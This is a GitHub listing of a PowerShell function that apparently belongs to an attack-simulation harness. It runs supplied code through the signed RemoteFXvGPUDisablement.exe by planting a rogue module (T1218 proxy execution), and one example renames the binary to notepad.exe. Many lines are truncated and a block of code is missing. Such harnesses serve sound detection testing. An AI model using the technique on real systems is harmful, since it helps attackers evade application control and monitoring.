292 lines (210 loc) · 14.4 KB

Code Blame Raw

```
1   function Invoke-ATHRemoteFXvGPUDisablementCommand {
2   <#
3   .SYNOPSIS
4
5   Executes PowerShell code using RemoteFXvGPUDisablement.exe as a proxy executable.
6
7   Technique ID: T1218 (Signed Binary Proxy Execution)
8
9   .DESCRIPTION
10
11  Invoke-ATHRemoteFXvGPUDisablementCommand executes supplied PowerShell code using RemoteFXvGPUDisabl
12
13  One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVide
14
15  Invoke-ATHRemoteFXvGPUDisablementCommand is used to demonstrate how a PowerShell host executable ca
16
17  Note: This technique will not work under the following conditions:
18
19  1. RemoteFXvGPUDisablement.exe is not present.
20  2. PowerShell Constrained Language Mode is enforced. Because the temporary module written to disk i
21
22  .PARAMETER RemoteFXvGPUDisablementFilePath
23
24  Specifies an alternate directory to execute RemoteFXvGPUDisablement.exe from. if -RemoteFXvGPUDisab
25
```

```
26      .PARAMETER ScriptBlock
27
28      Specifies optional PowerShell code to execute. Note that supplied PowerShell code will not display
29
30      .PARAMETER ModuleName
31
32      Specifies a temporary module name to use. If -ModuleName is not supplied, a 16-character random tem
33
34      .PARAMETER ModulePath
35
36      Specifies an alternate, non-default PowerShell module path for RemoteFXvGPUDisablement.exe. If -Mod
37
38      .PARAMETER TestGuid
39
40      Optionally, specify a test GUID value to use to override the generated test GUID behavior.
41
42      .OUTPUTS
43
44      PSObject
45
46      Outputs an object consisting of relevant execution details. The following object properties may be
47
48      * TechniqueID - Specifies the relevant MITRE ATT&CK Technique ID.
49      * TestSuccess - Will be set to True if it was determined that the PowerShell code successfully exec
50      * TestGuid - Specifies the test GUID that was used for the test.
51      * ModulePath - Specifies the path to the temporary module created.
52      * ModuleContents - Specifies the contents of the custom implementation of the Get-VMRemoteFXPhysica
53      * ModuleFileHash - Specifies the SHA256 file hash of the custom script module file.
54      * RunnerFilePath - Specifies the full path of RemoteFXvGPUDisablement.exe.
55      * RunnerProcessId - Specifies the process ID of RemoteFXvGPUDisablement.exe.
56      * RunnerCommandLine - Specifies the command-line of RemoteFXvGPUDisablement.exe.
57      * RunnerChildProcessId - Specifies the process ID of the process that was executed as the result of
58      * RunnerChildProcessCommandLine - Specifies the command-line of process that was executed as the re
59
60      .EXAMPLE
61
62      Invoke-ATHRemoteFXvGPUDisablementCommand
63
64      .EXAMPLE
65
66      Invoke-ATHRemoteFXvGPUDisablementCommand -ScriptBlock { Get-Date | Out-File -FilePath 'C:\Users\Cur
67
68      .EXAMPLE
69
70      Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName Foo
71
```

```
72      .EXAMPLE
73
74      Invoke-ATHRemoteFXvGPUDisablementCommand -ModulePath $PWD
75
76      Executes PowerShell code from a user-supplied module path, in this case, the current directory.
77
78      .EXAMPLE
79
80      Copy-Item -Path "$Env:windir\System32\RemoteFXvGPUDisablement.exe" -Destination 'notepad.exe'
81      Invoke-ATHRemoteFXvGPUDisablementCommand -RemoteFXvGPUDisablementFilePath 'notepad.exe'
82
83      Executes RemoteFXvGPUDisablement.exe from a relocated and renamed executable, notepad.exe in the cu
84
85      .LINK
86
87      https://support.microsoft.com/en-us/help/4558998/windows-10-update-kb4558998
88      https://support.microsoft.com/en-us/help/4570006/update-to-disable-and-remove-the-remotefx-vgpu-com
89      https://twitter.com/pronichkin/status/1285241439052427265
90      #>
91
92          [CmdletBinding()]
93          param (
94              [String]
95              [ValidateNotNullOrEmpty()]
96              $RemoteFXvGPUDisablementFilePath = "$Env:windir\System32\RemoteFXvGPUDisablement.exe",
97
98              [ScriptBlock]
99              $ScriptBlock,
100
101             [String]
102             [ValidateNotNullOrEmpty()]
103             $ModuleName = ((1..16 | ForEach-Object { [Char] (Get-Random -Minimum 0x41 -Maximum 0x5B) }))
104
105             [String]
106             [ValidateScript({ Test-Path -Path $_ -PathType Container })]
107             $ModulePath,
108
109             [Guid]
110             $TestGuid = (New-Guid)
111         )
112
113         $ModuleExecuted = $null
114         $FullModulePath = $null
115         $ExecutedRemoteFXvGPUDisablementCommandLine = $null
116         $ExecutedRemoteFXvGPUDisablementPID = $null
117         $SpawnedProcCommandLine = $null
```

```
219         if ($ModulePath) {
220             # Prepend the supplied module path to %PSModulePath%
221             $CustomPSModulePath = "PSModulePath=$($FullModulePath);$($Env:PSModulePath)"
222 
223             # Gather up all existing environment variables except %PSModulePath%.
224             [String[]] $AllEnvVarsExceptPSModulePath = Get-ChildItem Env:\* -Exclude 'PSModulePath' | F
225 
226             [String[]] $AllEnvVars = $AllEnvVarsExceptPSModulePath + $CustomPSModulePath
227 
228             $ProcessStartupInstance.EnvironmentVariables = $AllEnvVars
229         }
230 
231         $ProcStartResult = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ C
232 
233         if ($ProcStartResult.ReturnValue -eq 0) {
234             # Retrieve the actual command-line of the spawned PowerShell process
235             $ExecutedRemoteFXvGPUDisablementProcInfo = Get-CimInstance -ClassName Win32_Process -Filter
236             $ExecutedRemoteFXvGPUDisablementCommandLine = $ExecutedRemoteFXvGPUDisablementProcInfo.Comm
237             $ExecutedRemoteFXvGPUDisablementPID = $ProcStartResult.ProcessId
238             $RemoteFXvGPUDisablementFullPath = $ExecutedRemoteFXvGPUDisablementProcInfo.ExecutablePath
239         } else {
240             Write-Error "RemoteFXvGPUDisablementFullPath.exe child process was not spawned."
241         }
242 
243         if (-not $ScriptBlock) {
244             # Wait for the test powershell.exe execution to run
245             $ChildProcSpawnedEvent = Wait-Event -SourceIdentifier 'ChildProcSpawned' -Timeout 10
246             $ChildProcInfo = $null
247 
248             if ($ChildProcSpawnedEvent) {
249                 $ModuleExecuted = $True
250 
251                 $ChildProcInfo = $ChildProcSpawnedEvent.MessageData
252                 $SpawnedProcCommandLine = $ChildProcInfo.ProcessCommandLine
253                 $SpawnedProcProcessId = $ChildProcInfo.ProcessId
254 
```

```
255                 $ChildProcSpawnedEvent | Remove-Event
256             } else {
257                 Write-Error "powershell.exe child process was not spawned."
258             }
259
260             # Cleanup
261             Unregister-Event -SourceIdentifier 'ProcessSpawned'
262         }
263
264         [PSCustomObject] @{
265             TechniqueID       = 'T1218'
266             TestSuccess       = $ModuleExecuted
267             TestGuid          = $TestGuid
268             ModulePath        = $ModuleScriptPath
269             ModuleContents    = $FunctionToExecute
270             ModuleFileHash    = $ScriptModuleFileHash
271             RunnerFilePath    = $RemoteFXvGPUDisablementFullPath
272             RunnerProcessId   = $ExecutedRemoteFXvGPUDisablementPID
273             RunnerCommandLine = $ExecutedRemoteFXvGPUDisablementCommandLine
274             RunnerChildProcessId          = $SpawnedProcProcessId
275             RunnerChildProcessCommandLine = $SpawnedProcCommandLine
276         }
277
278         # Sleep a few seconds to give it some time to execute prior to deleting the temporary module.
279         if ($ScriptBlock) {
280             Start-Sleep -Seconds 2
281         }
282
283         # Delete the module that was just created
284         Write-Verbose "Deleting the script module: $ModuleScriptPath"
285         Remove-Item -Path $ModuleScriptPath -Force -ErrorAction SilentlyContinue
286
287         Write-Verbose "Deleting the module path: $NewModulePath"
288         Remove-Item -Path $NewModulePath -Force -ErrorAction SilentlyContinue
289
290         Remove-Module -ModuleInfo $ModuleInfo -ErrorAction SilentlyContinue
291         Remove-Item Function:\Get-VMRemoteFXPhysicalVideoAdapter -ErrorAction SilentlyContinue
292     }
```